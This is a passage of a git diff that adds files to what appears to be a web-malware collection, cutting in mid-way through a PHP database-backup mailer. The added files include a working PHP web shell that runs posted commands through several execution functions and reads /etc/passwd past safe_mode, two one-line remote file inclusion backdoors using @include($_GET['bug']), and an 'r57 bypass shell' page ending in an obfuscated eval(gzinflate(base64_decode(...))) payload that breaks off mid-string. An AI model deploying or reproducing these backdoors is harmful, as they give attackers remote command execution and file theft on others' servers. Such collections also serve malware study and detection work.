charset=\"iso-8859-1\"\n" ."Content-Transfer-Encoding: 7bit\n\n" . +$message . "\n\n"; + +// Base64 encode the file data +$data = chunk_split(base64_encode($data)); + +// Add file attachment to the message +echo "|{$mime_boundary}|{$fileatt_type}|{$fileatt_name}|{$fileatt_name}|{$mime_boundary}|<BR>"; +$message .= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n"."Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" . +$data . "\n\n" ."--{$mime_boundary}--\n"; +//$message.= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n" "Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" . +// $data . "\n\n" ."--{$mime_boundary}--\n"; + + +// Send the message +$ok = @mail($to, $subject, $message, $headers); +if ($ok) { + echo "<h4><center><bg color=black><font color= blue>Database backup created and sent! File name $filename2 </p> +Idea Conceived By coolsurfer@gmail.com +Programmer email: neagumihai@hotmail.com</p> +This is our first humble effort, pl report bugs, if U find any...</p> +Email me at <>coolsurfer@gmail.com nJoY!! :) +</color></center></h4>"; + +} else { + echo "<h4><center>Mail could not be sent. Sorry!</center></h4>"; +} +} + +if($use_ftp == "yes"){ +$ftpconnect = "ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog.log -e dbsender_ftplog2.log -a -E -V $ftp_server $ftp_path $filename2"; +shell_exec($ftpconnect); +echo "<h4><center>$filename2 Was created and uploaded to your FTP server!</center></h4>"; + +} + +if($remove_gzip_file=="yes"){ +exec("rm -r -f $filename2"); +} +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/bdotw44shell.txt b/web-malware-collection-master/Backdoors/PHP/bdotw44shell.txt new file mode 100755 index 0000000..155806f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/bdotw44shell.txt @@ -0,0 +1,129 @@ +<?php +/* +botw44 shell +collection +*/ + +//simple +define("br","<br />\n"); +define("ln","\n"); +global $formcmd; +if(!empty($_POST["cmd"])) { + $formcmd = $_POST["cmd"]; +} +function wr($txt){echo $txt;} +function com($txt){wr("xplo@sexec~$ ".$txt);} +function root($txt){wr("xplo@sexec~# ".$txt);} +function funcex($func,$txt="Using: "){com($txt.$func.ln);return $var = function_exists($func);} +//styling +echo '<style>*{margin:0;padding:0;border:1;}input{float:left;}</style>'.ln; +echo '<form action="stest-minimized.php" method="post">'.ln; +echo '<textarea style="width: 100%; height: 10%;">'.ln; +//easy echo's +com("PHP Version: ".phpversion().ln); +com("Safe mode: "); +if(ini_get("safe_mode") || ini_get("safe_mode_gid")){ + wr("SafeMode <b>On</b>".ln); + define("SAFEMODE",true); +} +else { + wr("SafeMode Off".ln); + define("SAFEMODE",false); +} +//command functions +function ex($cmd){ + global $result; + if(!empty($cmd)) { + if(SAFEMODE) { + if(extension_loaded("python")){ + $result = python_eval("import os\nos.system('$cmd')"); + if(empty($result)) { + $result = python_eval('import os\npwd = os.getcwd()\nprint pwd\nos.system("$cmd")'); + } + return $result; + } + elseif(extension_loaded("perl")){ + $perl = new perl(); + $perl->eval("system('$cmd')"); + $result = $perl; + return $result; + } + } + else { + if(funcex("exec")) { + @exec($cmd,$result); + $result = join("\n",$result); + } + elseif(funcex("shell_exec")) { + $result = @shell_exec($cmd); + } + elseif(funcex("system")) { + @ob_start(); + @system($cmd); + $result = @ob_get_contents(); + @ob_end_clean(); + } + elseif(funcex("passthru")) { + @ob_start(); + @passthru($cmd); + $result = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cmd,"r"))) { + while(!@feof($f)) { + $result .= @fread($f,8192); + } + @pclose($f); + } + } + } + return $result; +} +//bypass with curl for safe_mode & open_basedir +if(SAFEMODE) { + global $strtotalfile; + global $addallslashes; + function curllf($strfile) { + $strtotalfile = "file:file:"; + if(!file_exists("file:")) { + mkdir("file:"); + chdir("file:"); + } + else { + chdir("file:"); + } + $p = explode("/", $strfile); + foreach($p as $key => $value) { + if(!empty($value)) { + if(!file_exists($value)) { + mkdir($value); + chdir($value); + } + else { + chdir($value); + } + } + } + for($i=0;$i<count($p);$i++) { + $addallslashes .= "/"; + chdir(".."); + } + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $strtotalfile.$addallslashes.$strfile); + $result = curl_exec($ch); + curl_close($ch); + return $result; + } + //execute function + if(funcex("curllf",'Bypass: safe_mode & open_basedir with function ')) { + com('Using: curllf("/etc/passwd");'.br); + curllf("/etc/passwd"); + } +} +echo '</textarea>'.ln; +echo '<textarea style="width: 100%; height: 70%;">'.ln; +wr(ex($formcmd)); +echo '</textarea>'.ln; +echo '<input type="text" name="cmd" value="'.$formcmd.'" style="width: 100%; height: 10%;" />'.br; +echo '<input type="submit" name="exec" value="exec" style="width: 50%; height: 10%;" /><input type="reset" name="remove" value="remove" style="width: 50%; height: 10%;" />'.ln; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/bug (1).php b/web-malware-collection-master/Backdoors/PHP/bug (1).php new file mode 100755 index 0000000..6d5b27e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/bug (1).php @@ -0,0 +1,3 @@ +<?php +@include($_GET['bug']); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/bug.php b/web-malware-collection-master/Backdoors/PHP/bug.php new file mode 100755 index 0000000..6d5b27e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/bug.php @@ -0,0 +1,3 @@ +<?php +@include($_GET['bug']); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/bypass.txt b/web-malware-collection-master/Backdoors/PHP/bypass.txt new file mode 100755 index 0000000..7a0c80f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/bypass.txt @@ -0,0 +1,107 @@ +<html> +<head> +<title>r57 bypass Shell Antichat Edition</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: black 1px solid; +BORDER-TOP: black 1px solid; +BORDER-LEFT: black 1px solid; +BORDER-BOTTOM: black 1px solid; +BORDER-COLOR: black; +color: silver; +} +td { +BORDER-RIGHT: black 1px solid; +BORDER-TOP: black 1px solid; +BORDER-LEFT: black 1px solid; +BORDER-BOTTOM: black 1px solid; +BORDER-COLOR: black; +background-color:black; +color: white; +} + +.table1 { +BORDER: 0px; +BORDER-COLOR: #333333; +BACKGROUND-COLOR: black; +color: white; +} +.td1 { +BORDER: 0px; +BORDER-COLOR: #333333; +font: 7pt Verdana; +BACKGROUND-COLOR: black; +color: green; +} +.tr1 { +BORDER: 0px; +BORDER-COLOR: #333333; +color: #50AA20; +} +table { +BORDER: #eeeeee 1px outset; +BORDER-COLOR: #333333; +BACKGROUND-COLOR: #131313; +color: #50AA20; +} +input { +border : solid 1px; +border-color : #2D2D2D #252525 #252525 #252525; +BACKGROUND-COLOR: black; +font: 8pt Verdana; +color: red; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BORDER-COLOR: #333333; +BACKGROUND-COLOR: #131313; +font: 8pt Verdana; +color: white;; +} +submit { +BORDER: buttonhighlight 2px outset; +BACKGROUND-COLOR: #131313; +width: 30%; +color: white; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BORDER-COLOR: #333333; +BACKGROUND-COLOR: black; +font: Fixedsys bold; +color: silver; +} +BODY { +SCROLLBAR-ARROW-COLOR: #444444; +SCROLLBAR-BASE-COLOR: #444444; +margin: 1px; +color: #50AA20; +background-color: #131313; +} +.main { +margin : -287px 0px 0px -490px; +border : #000000 solid 1px; +BORDER-COLOR: #333333; +} +.tt { +background-color: black; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<? eval(gzinflate(base64_decode('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